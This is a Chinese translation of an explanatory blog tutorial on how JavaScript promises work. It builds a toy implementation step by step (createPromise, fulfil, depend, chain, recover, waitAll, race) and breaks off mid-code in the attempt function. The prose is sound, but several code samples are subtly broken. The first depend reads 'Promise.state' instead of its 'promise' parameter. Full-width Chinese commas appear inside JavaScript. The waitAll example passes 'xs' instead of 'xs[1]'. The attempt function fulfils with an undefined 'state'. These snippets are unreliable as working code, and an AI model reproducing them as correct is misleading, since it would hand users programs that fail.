    "content": "> * 原文链接 : [How do Promises Work? - Quils in Space](http://robotlolita.me/2015/11/15/how-do-promises-work.html)\n* 原文作者 : [Quil](http://robotlolita.me/about/index.html)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zhangjd](https://github.com/Zhangjd)\n* 校对者: [zxc0328](https://github.com/zxc0328)、[Aaaaaashu](https://github.com/Aaaaaashu)\n* 状态 :  完成\n\n# Promise 是如何工作的?\n\n## 目录\n\n## 1\\. 入门介绍\n\n大部分的JavaScript实现都是单线程的，并且考虑到语言的语义，人们倾向于使用 _callbacks_ （回调函数）来管理并行的过程。在JavaScript中，虽然使用 [Continuation-Passing Style(后继传递格式)](http://matt.might.net/articles/by-example-continuation-passing-style/) 并没有什么明显的过错， 但实际上，这样做会非常容易让代码变得难以阅读和更加程序化（比起它本应有的样子）。\n\n关于这一问题，人们已经提出了很多建议，在这当中，使用promise来让这些并行过程同时进行就是其中之一。 在这篇博文中我们将看到什么是promise，它是怎样工作的，为什么你应该/不该使用它们。\n\n> **备注** 这篇文章假定读者至少熟悉高阶函数、闭包和回调（continuation-passing style）。 或许缺少这些知识，你也能从本文收获到一些什么，但是还是建议你先了解清楚这些概念，再回来读这篇文章。\n\n## 2\\. 从概念上理解Promise\n\n在一开始，让我们先来回答一个非常重要的问题: “到底什么是promise?”\n\n要回答这个问题，我们先来看一个现实生活中很常见的情景。\n\n### 插曲: 讨厌排队的姑娘\n\n![](http://robotlolita.me/files/2015/09/promises-01.png) \n\n_女生们想要在一个热闹的餐馆里吃晚餐。_\n\nAlissa P. Hacker 和她的女性朋友决定到一个非常受欢迎的餐馆吃晚餐。 不幸的是，正如预想的那样，当她们到达的时候所有的餐桌都被占用了。\n\n在一些地方，这意味着她们要不选择放弃，要不选择去别的地方吃，又或者在这排长队，直到有空桌。 但是还好，这个地方给讨厌排队的Alissa提供了完美的解决方法。\n\n> “这是一个有魔力的装置，它代表着你未来的餐桌……”\n\n![](http://robotlolita.me/files/2015/09/promises-02.png) \n\n_代表着未来餐桌的装置。_\n\n“别担心，亲爱的，只要拿着这款装置，它会帮你处理好一切。” 餐厅里的女士手里拿着一个小盒子对她说。\n\n“这是啥……?” Alissa的朋友，Rue Bae问。\n\n“这是一个有魔力的装置，它代表着你在这家餐厅里将来的餐桌,” 女士一边说，一边示意Bae， “其实里面并没有魔力，但是当排到你的时候，它会通知你们，然后你们就可以过来用餐了。” 她低声说道。\n\n### 2.1\\. 什么是Promises?\n\n就像那个“有魔力的”装置可以代表着你未来在餐厅里的餐桌，promise的存在，就是为了代表将会在未来发生的_某些事情_。 在编程语言中，这指的就是值(values)。\n\n![](http://robotlolita.me/files/2015/09/promises-03.png) \n\n_放进整个苹果，出来的是苹果片_\n\n在同步的世界里，当想到函数时，我们很容易理解计算: 你把输入放进函数里，函数就会给出一些内容作为输出。\n\n这种 _输入输出_ 的模型很容易理解，大部分程序员对此也非常熟悉。 所有JavaScript的句法结构与内建功能，都假设你的函数会跟随这一模型。\n\n可是这一模型有一个大问题: 当我们要给函数提供了输入，为了让我们获得想要的输出，我们需要一直坐等直到函数完成它的工作。 但是理想情况是：我们想要在这段时间内尽量多做点别的事情，而不光是坐着等待。\n\n为了解决这种问题，promise被提了出来，我们会立刻取得某种表示形式来代表这个值，而不需要一直等到最终结果出来。 我们可以继续我们的生活，然后在某个时间点，回来取得我们所需要的值。\n\n> Promise是最终结果的表示形式。\n\n![](http://robotlolita.me/files/2015/09/promises-04.png) \n\n_放进整个苹果，随后出来一张苹果切片的票据。_\n\n### 插曲: 执行顺序\n\n现在我们希望明白什么是promise，我们可以看看promise是怎么帮助我们更容易写并行程序的。 但在这之前，让我们先后退一步，思考一个更基本的问题: 程序代码的执行顺序。\n\n作为一个JavaScript程序员，你可能已经注意到，你的程序以一种非常特殊的顺序执行，恰好是你在程序源码中所写指令的顺序:\n\n```\nvar circleArea = 10 * 10 * Math.PI;\nvar squareArea = 20 * 20;\n```\n\n如果我们执行这个程序，首先我们的JavaScript虚拟机会运行计算`circleArea`，一旦计算完成，再执行`squareArea`的计算。 换句话说，我们的程序会告诉机器，“做这个，再做那个，然后再做那个……”\n\n> **问题时间!** 为什么我们的机器一定要先计算 `circleArea` 再计算 `squareArea`? 如果我们颠倒顺序或者同时执行，会产生什么问题呢?\n\n事实证明，按顺序执行每样东西的代价是很高的。如果 `circleArea` 花费太多时间，我们将会阻塞 `squareArea` 执行直到前者完成。实际上，对于这一个例子，我们选择什么样的顺序都没问题，结果是一样的。我们程序中可以任意调整这个顺序。\n\n> […] 按顺序执行的代价是非常高的。\n\n我们想要我们的计算机做更多事情，并且要做得更 _快_。 为了做到这样，首先我们完全去掉执行顺序。换言之，我们假设在我们的程序中所有表达式在同一时间执行。\n\n这个方法很适合我们之前的例子。但是当我们做一点细微改变的时候，问题就来了:\n\n```\nvar radius = 10;\nvar circleArea = radius * radius * Math.PI;\nvar squareArea = 20 * 20;\nprint(circleArea);\n```\n\n如果我们没有遵循任何顺序，怎么做到组合其他表达式计算的值呢? 好吧，我们办不到，因为没办法保证当我们需要用到值的时候，它已经被计算出来。\n\n来换种方法，在我们程序中，唯一的顺序被定义为表达式的组件之间的相互依赖关系。在本质上，这意味着一旦表达式的组件计算好了，就可以马上执行，即使其它内容还在执行中。\n\n![](http://robotlolita.me/files/2015/09/promises-05.png) \n\n_我们的简单例子里的依赖关系图。_\n\n不是非要声明我们执行程序时应该用哪种顺序，我们只需要定义好每一个计算是如何相互依赖的。 手里拿着这些数据，电脑可以创建如上的依赖关系图，并自己推断出最高效执行程序的方式。\n\n> **有趣的事实!** 这个图表很好地描述了程序在Haskell编程语言中是怎样求值的，它也非常接近于表达式在更加熟知的系统中（比如Excel）的求值方法。\n\n### 2.2\\. Promise和并发\n\n前面一章所描述的执行模型，其执行顺序被简单定义为每个表达式间的依赖关系，这是非常强大且高效的，但我们如何应用到JavaScript中呢?\n\n我们不能直接把这个模型应用到JavaScript，因为这门语言的内在语义是同步顺序的。但我们可以创造一种分离机制，来描述表达式之间的依赖，并且帮助我们解决这些依赖关系，然后根据这些规则执行程序。其中一种实现方法，就是通过在promise之上引入依赖的概念.\n\n这种promises的新机制由两个主要部分构成: 一是可以作为值的表现形式（representations），并把值放入这种表示形式中；二是创建表达式（expressions）和值（values）之间的依赖关系（dependencies），创建一个新的promise，就是为了取得表达式的结果。\n\n![](http://robotlolita.me/files/2015/09/promises-06.png) \n\n_创建代表着未来值的表示形式。_ \n\n![](http://robotlolita.me/files/2015/09/promises-07.png) \n\n_创建值和表达式之间的依赖关系_\n\n我们的promise代表着我们还没计算出来的值。这个表示形式是不透明的: 我们看不见值，也不能直接和值相互作用。此外，在JavaScript的promise中，我们也不能从表示形式中取出值。一旦你把一些东西放进一个JavaScript promise，你 **不能** 从promise里面直接取出来。(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:1)\n\n这本身没什么用，因为我们需要能够以某种方法使用这些值。如果我们不能从表示形式中取出值，我们需要想别的办法去实现。结果解决 “取出问题”的最简单方法，是通过描述我们想怎么让程序去执行，通过明确地提供依赖关系，然后解决这个依赖关系图并执行它。\n\n要做点这点，我们需要一种方法插进表达式中的实际值，然后延迟表达式的执行，直到它确实被需要。幸运的是，JavaScript中的first-class functions（一等函数）可以达到这个目的。\n\n### 插曲: 表达式的抽象\n\n比如像 `a + 1` 这种表达式，一旦 `a` 的值计算出来，可以通过值来代入 `a` 来抽象化表达式。按这种方式，表达式:\n\n```\nvar a = 2;\na + 1;\n// { 用 `a` 的当前值替换 }\n// => 2 + 1\n// { 简化表达 }\n// => 3\n```\n\n再变成以下的lambda抽象(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:2):\n\n```\nvar abstraction = function(a) {\n  return a + 1;\n};\n\n// 然后我们给 `a` 装上值:\nabstraction(2);\n// => (a => a + 1)(2)\n// { 用提供的值替换 `a` }\n// => (2 => 2 + 1)\n// { 简化表达式 }\n// => 2 + 1\n// { 简化表达式 }\n// => 3\n```\n\nFirst-class functions是一个很强大的概念（不管是否 lambda 抽象）。因为有了这个，JavaScript可以用一个非常自然的方式去描述这些依赖关系，通过转换使用了promise值的表达式为first-class functions，我们可以在随后插入值。\n\n## 3\\. 理解Promise的机制\n\n### 3.1\\. Promise的顺序表达\n\n既然我们看过了promise的概念本质，我们开始理解它们在机器中是怎么样工作的。我们将会描述创建promise用到的操作，再把值放进去，然后描述表达式和值之间的依赖。为了方便举例，我们接下来将会用到非常直观的操作，这些操作恰好没有被现存的promise实现使用:\n\n*   `createPromise()` 构造出一个值的表示形式。这个值必须要在之后及时提供。\n\n*   `fulfil(promise, value)` 把值放进promise中，也允许表达式依赖值去计算。\n\n*   `depend(promise, expression)` 定义了表达式和promise的值之间的依赖。返回一个新的promise作为表达式的结果，以便新的表达式可以依赖于那个值。\n\n让我们回到圆形和正方形的例子。目前，我们用简单点的例子开始: 通过使用promises，把同步的`squareArea`变成一个用并行描述的程序。`squareArea`之所以简单，因为它只依赖于`side`值:\n\n```\n// 表达式:\nvar side = 10;\nvar squareArea = side * side;\nprint(squareArea);\n\n// 变成:\nvar squareAreaAbstraction = function(side) {\n  var result = createPromise();\n  fulfil(result, side * side);\n  return result;\n};\nvar printAbstraction = function(squareArea) {\n  var result = createPromise();\n  fulfil(result, print(squareArea));\n  return result;\n}\n\nvar sidePromise = createPromise();\nvar squareAreaPromise = depend(sidePromise, squareAreaAbstraction);\nvar printPromise = depend(squareAreaPromise, printAbstraction);\n\nfulfil(sidePromise, 10);\n```\n\n这里会引起很多议论，如果我们和同步版本的代码相比较，可是这个新版本并没有和JavaScript的执行顺序相关联，在执行中的唯一约束，是我们所描述的依赖关系。\n\n### 3.2\\. 一个最小限度的promise实现\n\n还有一个悬而未决的问题需要回答: 我们如何运行代码，可使得实际顺序跟我们描述的依赖关系一样呢? 如果我们没有跟随JavaScript的执行顺序，别的东西必须提供我们想要的执行顺序。\n\n幸运地，在我们所使用的函数里，这很容易被定义。首先，我们必须决定如何表示值和其依赖关系，最自然的方式是把这个数据添加到`createPromise`的返回值。\n\n首先，_事物_的promises必须可以表示那个值，然而并不是在所有时间都必须包含一个值。当我们调用`fulfil`时，值才会被放入到promise。这个最小限度的表示形式就是:\n\n```\ndata Promise of something = {\n  value :: something | null\n}\n```\n\n`Promise of something`以空值`null`初始化，在某个时间点，某个人可能调用这个promise的`fulfil`函数，从那以后这个promise将包含给定的实现值 (fulfilment value)。由于promise只能fulfill一次，那个值将会在剩余的程序中一直包含着。\n\n考虑到一个promise不能只通过`value`（因为`null`也是一个有效值）来判断是否被fulfil，我们还需要跟踪promise处于哪种状态，所以我们不会冒险多于一次去调用fulfil。这需要我们对之前的表示形式做一点小改变:\n\n```\ndata Promise of something = {\n  value :: something | null,\n  state :: \"pending\" | \"fulfilled\"\n}\n```\n\n我们还需要处理由`depend`函数创建出的依赖关系。一个依赖关系是一个函数，最终将会被promise中的值所填充，所以它是可以被评估的。一个promise可以有很多依赖其值的函数，因此这样的一个最小限度表示形式可以是:\n\n```\ndata Promise of something = {\n  value :: something | null,\n  state :: \"pending\" | \"fulfilled\",\n  dependencies :: [something -> Promise of something_else]\n}\n```\n\n既然我们已经决定好promise的表示形式，让我们一起开始定义创建新promise的函数:\n\n```\nfunction createPromise() {\n  return {\n    // promise初始化为空值,\n    value: null,\n    // 待定状态的promise，所以它可以在稍后变成fulfilled,\n    state: \"pending\",\n    // 它现在还没有依赖关系。\n    dependencies: []\n  };\n}\n```\n\n既然我们决定了我们的简单表示形式，构造一个新对象来表示是相当简单的。让我们来看点更复杂的: 附加依赖到Promise中。\n\n解决这个问题的其中一个方法，是把所有创造出的依赖放入promise的 `dependencies` 属性中，然后把promise交给解释器按需计算。用这种实现，解释器开启之前将没有依赖关系会被执行。我们不会这样去实现promise，因为这对于人们通常所写的JavaScript程序并不适合(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:3)。\n\n另一种解决方案，来源于这个事实：我们只有当promise处于`pending`状态时，才真正需要跟踪一个promise的依赖关系，因为一旦promise被调用fulfil，我们就可以立刻执行函数了！\n\n```\nfunction depend(promise, expression) {\n  // 当我们可以计算表达式的时候，我们需要返回一个包含表达式的值的promise\n  var result = createPromise();\n\n  // 假若我们还不能执行表达式，把它放进依赖列表，作为未来的值\n  if (Promise.state === \"pending\") {\n    Promise.dependencies.push(function(value) {\n      // 我们关心的是表达式最后的值，所以我们可以把值放进我们的promise结果中\n      depend(expression(value), function(newValue) {\n        fulfil(result, newValue);\n        // 我们返回一个空的promise，因为`depend`函数需要一个promise\n        return createPromise();\n      })\n    });\n\n  // 否则只需要执行表达式，我们就可以得到准备好插入的值\n  } else {\n    depend(expression(promise.value), function(newValue) {\n      fulfil(result, newValue);\n      // 我们返回一个空的promise，因为`depend`函数需要一个promise\n      return createPromise();\n    })\n  }\n\n  return result;\n}\n```\n\n当`depend`函数等待的值准备好的时候，`depend`函数负责执行我们的依赖关系计算，但如果我们太早附加依赖，那样函数会在promise对象的一个数组中结束，这样我们的工作并没有完成。对于第二部分的执行，需要在得到值的时候，运行依赖关系。幸运地，我们可以使用`fulfil`函数。\n\n通过调用`fulfil`函数把我们的值放进promise当中，我们可以实现正处于`pending`状态的promise。这是一个好时机，来调用promise值可以用之前所创建的任何的依赖关系，并负责另外一半的执行工作。\n\n```\nfunction fulfil(promise, value) {\n  if (promise.state !== \"pending\") {\n    throw new Error(\"Trying to fulfil an already fulfilled promise!\");\n  } else {\n    promise.state = \"fulfilled\";\n    promise.value = value;\n    // 依赖关系可以添加其他的依赖到这个promise当中，\n    // 因此我们需要清理依赖列表，\n    // 把列表复制出来以避免我们的迭代受影响。\n    var dependencies = promise.dependencies;\n    promise.dependencies = [];\n    dependencies.forEach(function(expression) {\n      expression(value);\n    });\n  }\n}\n```\n\n## 4\\. Promise和错误处理\n\n### 插曲: 当计算失败的时候\n\n并非所有计算都总能产生一个有效值。某些函数，比如`a / b`或`a[0]`，称作部分函数，因此只能被定义为`a`或`b`的可能取值的子集。 如果我们写的代码包含了部分函数，并碰上了一种函数不能处理的情况，我们就不能继续执行程序了。换句话说，我们的整个程序会崩溃。\n\n一个更好的在程序中包含部分函数的方法是通过让它变得完整。也就是说，定义函数之前没被定义的部分。总之，我们要考虑让函数处理“成功”的情况，和不能处理的“失败”情况。仅这一点，就已经足以让我们写出整个程序，甚至当面临计算不能产生出一个有效值的时候，也可以继续执行:\n\n![](http://robotlolita.me/files/2015/09/promises-08.png)\n\n_部分函数的分支_\n\n一个合理但不一定实用的处理方法，是在每一个可能的失败值上建立分支来处理。比如，我们组合了三个可能失败的计算，意味着我们至少要定义6个不同的分支!\n\n![](http://robotlolita.me/files/2015/09/promises-09.png) \n\n_在每个部分函数都建分支_\n\n> **有趣的事实!** 对一些编程语言，比如 OCaml，更喜欢这种风格的错误处理，因为这样可以很清楚每个步骤。通常来说函数式编程语言偏爱这种明确性，但在某些编程语言，比如 Haskell，使用一个称作Monad的接口(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:4)来让错误处理（比起其它处理方式）变得更为实用。\n\n更理想的方法是，我们只需要写`y / (x / (a / b))`，然后对整个组合式只处理一次错误，而不是处理每一个子表达式的错误。编程语言对此有不同的处理方法，比如 C 和 Go，让你可以完全忽略错误，或者至少尽可能延迟碰它。比如Erlang，会让程序崩溃，但也会提供工具让你的程序恢复运行。但最通用的方法，是给可能发生错误的代码块定义一个“错误处理程序”。JavaScript允许通过`try/catch`声明，实现后一种方法，比如：\n\n![](http://robotlolita.me/files/2015/09/promises-10.png)\n\n_一种错误处理的可行方法_\n\n### 4.1\\. 用Promise处理错误\n\n至今，我们的promise构想中，还没允许失败。因此，所有在promises中的计算必须产生一个有效的结果。如果我们要在promise中运行像 `a / b` 这样的计算，如果 `b` 取 0，比如 `2 / 0`，那样的话计算不能产生有效的结果。\n\n![](http://robotlolita.me/files/2015/09/promises-11.png)\n\n_我们的新promise的可能状态_\n\n我们可以很容易修改promise，来考虑失败的表达方式。当前我们的promise以`pending`状态开始，然后它只能被满足。假如我们增加一个新的状态`rejected`，然后我们就可以在promise当中模仿部分函数了。成功的计算以`pending`开始，最终以`fulfilled`状态结束。失败的计算也以`pending`开始，但状态最后会变为`rejected`。\n\n既然现在我们有可能失败，依赖于promise的值的计算也必须要意识这一点。目前我们的`depend`失败只需在promise变成`fulfilled`或者`rejected`的时候各自运行不同的表达式。\n\n带着这个，我们的promise表示形式变成了:\n\n```\ndata Promise of (value, error) = {\n  value :: value | error | null,\n  state :: \"pending\" | \"fulfilled\" | \"rejected\",\n  dependencies :: [{\n    fulfilled :: value -> Promise of new_value,\n    rejected  :: error -> Promise of new_error\n  }]\n}\n```\n\nPromise可能包含一个合适的值，或者一个错误，又或者是 `null` 直到它解决（可能是`fulfilled`或者`rejected`）。要这样处理的话，我们的依赖关系也需要知道对于合适值和错误值分别怎样处理，因此稍微改变一下dependencies数组。\n\n除了在表示形式中的改变，我们还要改一下 `depend` 函数，现在读起来就像这样:\n\n```\n// 注意我们现在需要两个表达式了，而不是一个。\nfunction depend(promise, onSuccess, onFailure) {\n  var result = createPromise();\n\n  if (promise.state === \"pending\") {\n    // 依赖关系现在拿到一个对象，包含了promise在成功与失败情况下分别该怎么做。\n    // 函数和前面的大致相同。\n    promise.dependencies.push({\n      fulfilled: function(value) {\n        depend(onSuccess(value),\n               function(newValue) {\n                 fulfil(result, newValue);\n                 return createPromise()\n               },\n               // 我们在应用表达式的时候也必须关心错误\n               function(newError) {\n                 reject(result, newError);\n                 return createPromise();\n               });\n      },\n\n      // 失败的分支和成功的分支做的事情是一样的，只不过是使用onFailure表达式。\n      rejected: function(error) {\n        depend(onFailure(error),\n               function(newValue) {\n                 fulfil(result, newValue);\n                 return createPromise();\n               },\n               function(newError) {\n                 reject(result, newError);\n                 return createPromise();\n               });\n        }\n      });\n    }\n  } else {\n    // 如果promise已经成功实现，我们运行onSuccess\n    if (promise.state === \"fulfilled\") {\n      depend(onSuccess(promise.value),\n             function(newValue) {\n               fulfil(result, newValue);\n               return createPromise();\n             },\n             function(newError) {\n               reject(result, newError);\n               return createPromise();\n             });\n    } else if (promise.state === \"rejected\") {\n      depend(onFailure(promise.value),\n             function(newValue) {\n               fulfil(result, newValue);\n               return createPromise();\n             },\n             function(newError) {\n               reject(result, newError);\n               return createPromise();\n             });\n    }\n  }\n\n  return result;\n}\n```\n\n最终，我们需要一个把错误放进promise的方法。为此我们需要一个 `reject` 函数：\n\n```\nfunction reject(promise, error) {\n  if (promise.state !== \"pending\") {\n    throw new Error(\"Trying to reject a non-pending promise!\");\n  } else {\n    promise.state = \"rejected\";\n    promise.value = error;\n    var dependencies = promise.dependencies;\n    promise.dependencies = [];\n    dependencies.forEach(function(pattern) {\n      pattern.rejected(error);\n    });\n  }\n}\n```\n\n由于`dependencies`改变了，我们还要轻微改变下 `fulfil` 函数。\n\n```\nfunction fulfil(promise, value) {\n  if (promise.state !== \"pending\") {\n    throw new Error(\"Trying to fulfil a non-pending promise!\");\n  } else {\n    promise.state = \"fulfilled\";\n    promise.value = value;\n    var dependencies = promise.dependencies;\n    promise.dependencies = [];\n    dependencies.forEach(function(pattern) {\n      pattern.fulfilled(value);\n    });\n  }\n}\n```\n\n有了这些新内容，我们已经准备好把可能失败的计算放进promise中：\n\n```\n// 可能失败的计算\nvar div = function(a, b) {\n  var result = createPromise();\n\n  if (b === 0) {\n    reject(result, new Error(\"Division By 0\"));\n  } else {\n    fulfil(result, a / b);\n  }\n\n  return result;\n}\n\nvar printFailure = function(error) {\n  console.error(error);\n};\n\nvar a = 1，b = 2，c = 0，d = 3;\nvar xPromise = div(a, b);\nvar yPromise = depend(xPromise,\n                      function(x) {\n                        return div(x, c)\n                      },\n                      printFailure);\nvar zPromise = depend(yPromise,\n                      function(y) {\n                        return div(y, d)\n                      },\n                      printFailure);\n```\n\n### 4.2\\. Promises的错误传播\n\n上一段代码永远不会执行 `zPromise`，因为 `c` 的值是0，并导致了 `div(x，c)` 计算失败。这正是我们希望的，但是现在我们需要的是：在promise中定义的每一个计算都传递错误。理想情况下，我们喜欢只在必要情况之下定义错误分支，就像我们用 `try/catch` 处理同步的计算一样。\n\n对我们的promise来说，支持这一功能并不重要。只需要在我们不能抽象的时候，始终定义我们的成功与失败分支，并且这通常是在控制流中的条件。比如在JavaScript中，不可能在 `if` 声明或者 `for` 声明上面抽象，因为他们是二等控制流机制了，并且你也不能修改、传递，或者保存在变量当中。我们的promise是一等的对象，有具体的失败与成功的表示形式，以便我们去审查并作出反应什么时候需要它，而不仅仅在它们被创建的时间点上。\n\n![](http://robotlolita.me/files/2015/09/promises-12.png)\n\n_promise可能的链式生命周期_\n\n为了可以得到类似于 `try/catch` 这样的结构，首先，我们必须在成功和失败的表示形式上做到这两点：\n\n*   **从错误中恢复**: 如果计算失败了，我必须可以把值变成某种有意义的成功。比如说，当从 `Map` 或者 `Array` 中尝试取值时，设置默认值。如果map中不存在 `\"foo\"` 这个键，`map.get(\"foo\").recover(1) + 2` 会返回3。\n\n*   **任何时候可能失败**: 如果我计算成功了，我必须可以把那个值变成失败；如果我失败了，我必须可以保持这个失败。前面的模型允许了计算短路（short-circuiting），后面这个则允许了错误传播。有了这两个，即使 `(a / b) / (c / d)` 的任何的子表达式失败了，你也可以完全去捕获它。\n\n很幸运，`depend` 函数已经帮我们完成了大部分工作了。因为 `depend` 要求它的表达式返回_整个_ promise，使得其不仅可以传播值，也可以传播状态。这很重要，因为如果我们只定义了一个 `successful` 分支，然后promise失败了，我们就不仅要传播值，也要传播失败的状态。\n\n带着这些适如其分的机制：支持简单的失败传播，错误处理，和失败时短路，还需要添加两个操作：`chain` 在promise的成功值上创建一个依赖关系，在失败时进行短路计算；`recover` 在promise的失败值上创建依赖关系，并允许从错误中恢复。\n\n```\nfunction chain(promise, expression) {\n  return depend(promise, expression,\n                function(error) {\n                  // 只需要创建一个等价的promise，我们便可以传播错误状态和相应值。\n                  var result = createPromise();\n                  reject(result, error);\n                  return result;\n                })\n}\n\nfunction recover(promise, expression) {\n  return depend(promise,\n                function(value) {\n                  // 只需要创建一个等价的promise，我们便可以传播成功值。\n                  var result = createPromise();\n                  fulfil(result, value);\n                  return result;\n                },\n                expression)\n}\n```\n\n我们可以用这两个函数来简化我们之前的除法例子：\n\n```\nvar a = 1，b = 2，c = 0，d = 3;\nvar xPromise = div(a, b);\nvar yPromise = chain(xPromise, function(x) {\n                                 return div(x, c)\n                               });\nvar zPromise = chain(yPromise, function(y) {\n                                 return div(y, d);\n                               });\nvar resultPromise = recover(zPromise, printFailure);\n```\n\n## 5\\. 组合promise\n\n### 5.1\\. 组合确定性的promise\n\n对promise进行顺序操作时，要求我们创建一个依赖关系链，而并行组合promise只要求promise不存在相互间依赖。\n\n在我们的圆形例子中，我们自然地进行了并行计算。`radius` 表达式和 `Math.PI` 表达式之间没有互相依赖，因此它们可以分开计算，但是 `circleArea` 依赖它们俩的值。依据这个，代码可以写成：\n\n```\nvar radius = 10;\nvar circleArea = radius * radius * Math.PI;\nprint(circleArea);\n```\n\n如果用promise来表达，代码如下：\n\n```\nvar circleAreaAbstraction = function(radius, pi) {\n  var result = createPromise();\n  fulfil(result, radius * radius * pi);\n  return result;\n};\n\nvar printAbstraction = function(circleArea) {\n  var result = createPromise();\n  fulfil(result, print(circleArea));\n  return result;\n};\n\nvar radiusPromise = createPromise();\nvar piPromise = createPromise();\n\nvar circleAreaPromise = ???;\nvar printPromise = chain(circleAreaPromise, printAbstraction);\n\nfulfil(radiusPromise, 10);\nfulfil(piPromise, Math.PI);\n```\n\n这里有个小问题: `circleAreaAbstraction` 是依赖于 **两个** 值的表达式，但是 `depend` 只能够定义表达式和单个值的依赖！\n\n有些变通的方法可以解决这个限制，让我们从简单的开始。如果 `depend` 对一个表达式能提供单个值，那就必须能够在一个闭包中获取值，然后从promise中每次提取一个值。虽然这样确实创建出一种隐含的执行顺序，但这应该没有过分影响并发性。\n\n```\nfunction wait2(promiseA, promiseB, expression) {\n  // 我们先从 promiseA 提取值\n  return chain(promiseA, function(a) {\n    // 然后从 promiseB 提取值\n    return chain(promiseB, function(b) {\n      // 既然我们已经取得两个值了，我们就可以执行依赖多于一个值的表达式：\n      var result = createPromise();\n      fulfil(result, expression(a, b));\n      return result;\n    })\n  })\n}\n```\n\n有了这个，我们定义如下的 `circleAreaPromise` ：\n\n```\nvar circleAreaPromise = chain(wait2(radiusPromise, piPromise),\n                              circleAreaAbstraction);\n```\n\n对于依赖三个值的表达式我们可以定义 `wait3` ，依赖四个值的表达式我们可以定义 `wait4`等。但是，`wait*` 创建出一种隐含顺序(promise以某种特定顺序执行)，这样还要求我们提前知道我们需要依赖多少个值。所以，举个例子，如果我们想等待一整个promise数组的话，这种方法就不好使了。（尽管可以通过组合 `wait2` 和 `Array.prototype.reduce`来这么做）\n\n另一种解决方案是接收一个promise数组作为参数，逐一执行，然后归还一个promise到原promise包含的值数组。这种方法有点复杂，因为我们要实现一个简单的有限状态机，但是这样没有隐含顺序（除了JavaScript自己的执行语义）。\n\n```\nfunction waitAll(promises, expression) {\n  // 用于存放promise值的数组，一旦有值会马上放进该数组。\n  var values = new Array(promises.length);\n  // 记录有多少个promise还在等待着\n  var pending = values.length;\n  // promise结果\n  var result = createPromise();\n  // 记录promise是否已经被解决\n  var resolved = false;\n\n  // 我们开始执行每个promise，并跟踪原始索引值，以此来获取应该把值放进结果数组的哪个位置。\n  promises.forEach(function(promise, index) {\n    // 对于每个promise，我们会等到promise解决，然后把值存入 `values` 数组\n    depend(promise, function(value) {\n      if (!resolved) {\n        values[index] = value;\n        pending = pending - 1;\n\n        // 如果我们完成了等待所有的promise，我们可以把values数组放进结果的promise中。\n        if (pending === 0) {\n          resolved = true;\n          fulfil(result, values);\n        }\n      }\n      // 我们不关心这个promise的其它方面，并返回空promise，因为`depends`需要它。\n      return createPromise();\n    }, function(error) {\n      if (!resolved) {\n        resolved = true;\n        reject(result, error);\n      }\n      return createPromise();\n    })\n  });\n\n  // 最后，我们返回一个promise，作为最终的值数组。\n  return result;\n}\n```\n\n如果我们要把 `waitAll` 用到 `circleAreaAbstraction`，应该会像下面这样：\n\n```\nvar circleAreaPromise = chain(waitAll([radiusPromise, piPromise]),\n                              function(xs) {\n                                return circleAreaAbstraction(xs[0]，xs);\n                              })\n```\n\n### 5.2\\. 组合非确定性的promise\n\n我们已经知道怎样合并promise了，但是到现在我们只能确定性地合并它们。举个例子，比如我们想选择两个计算中最快一个的时候，这就帮不到我们了。或许我们正在两台服务器上面搜索某些东西，而且并不关心哪一台会应答我们，我们只选择最快那一个。\n\n为了支持这样，我们先介绍一些非决定论的知识。特别是，我们需要一个操作是，给定两个promise，拿走更快那个的值与状态。这个主意背后的操作很简单：并行运行两个promise，等待第一个解决，然后把它传到promise结果中。但实现起来并不那么简单，因为我们需要保持着状态。\n\n```\nfunction race(left, right) {\n  // 创建promise结果\n  var result = createPromise();\n\n  // 并行等待两个promise，doFulfil 和 doReject 会传播第一个解决的promise的值/状态。\n  // 这通过检查 `result` 的当前状态并确认是等待中来完成。\n  depend(left, doFulfil，doReject);\n  depend(right, doFulfil，doReject);\n\n  // 返回promise结果\n  return result;\n\n  function doFulfil(value) {\n    if (result.state === \"pending\") {\n      fulfil(result, value);\n    }\n  }\n\n  function doReject(value) {\n    if (result.state === \"pending\") {\n      reject(result, value);\n    }\n  }\n}\n```\n\n通过这种非确定的选择，我们就可以开始组合操作了。就拿上面的例子来说：\n\n```\nfunction searchA() {\n  var result = createPromise();\n  setTimeout(function() {\n    fulfil(result, 10);\n  }, 300);\n  return result;\n}\n\nfunction searchB() {\n  var result = createPromise();\n  setTimeout(function() {\n    fulfil(result, 30);\n  }, 200);\n  return result;\n}\n\nvar valuePromise = race(searchA(), searchB());\n// => valuePromise最终的值是30\n```\n\n在两个promise中作出选择已经成为了可能，因为 `race(a, b)` 基本就变成了 `a` 或 `b`，依赖于哪个解决得更快。因此，如果我们进行 `race(c，race(a, b))`，并且 `b` 先解决，然后就变得和 `race(c, b)` 一样了。当然了，输入 `race(a, race(b，race(c, ...)))` 并非最佳，因此我们可以写一个简单的组合器来完成这件事：\n\n```\nfunction raceAll(promises) {\n  return promises.reduce(race, createPromise());\n}\n```\n\n然后我们可以这样使用:\n\n```\nraceAll([searchA(), searchB(), waitAll([searchA(), searchB()])]);\n```\n\n另一种在两个promise中作出非确定性选择的方法，是等待第一个_成功满足_的promise。举个例子，如果你正试图从一个镜像源列表里面找出一个可用的下载链接，你可不想因为第一个链接不能下载而失败了，你想要的是从第一个能下载的镜像进行下载，如果全都不能下才算失败。我们可以写一个`attempt`操作来这么做： \n\n```\nfunction attempt(left, right) {\n  // 创建promise结果\n  var result = createPromise();\n\n  // doFulfil会传第一个成功解决的值与状态。\n  // 反之，doReject会合计错误，直到所有的promise失败\n  //\n  // 我们需要跟踪发生的错误\n  var errors = {}\n\n  // 现在我们可以等待两个promise，就像在`race`中那样。\n  // 不同的是，在这里`doReject`需要知道拒绝哪一个promise，并保持跟踪错误。\n  depend(left, doFulfil，doReject('left'));\n  depend(right, doFulfil，doReject('right'));\n\n  // 最后，把promise结果作为返回值。\n  return result;\n\n  function doFulfil(value) {\n    if (result.state === \"pending\") {\n      fulfil(result, state);\n    }\n  }\n\n  function doReject(field) {\n    return function(value) {\n      if (result.state === \"pending\") {\n        // 如果我们还在等待中，我们可以安全地一直收集错误。\n        // 我们确保得到的错误能进入对象中正确收集这些错误的地方\n        errors[field] = value;\n\n        // 如果我们设法收集了所有的错误，我们可以拒绝promise结果。\n        // 我们在所有错误都发生时，以正确顺序拒绝它。\n        if ('left' in errors && 'right' in errors) {\n          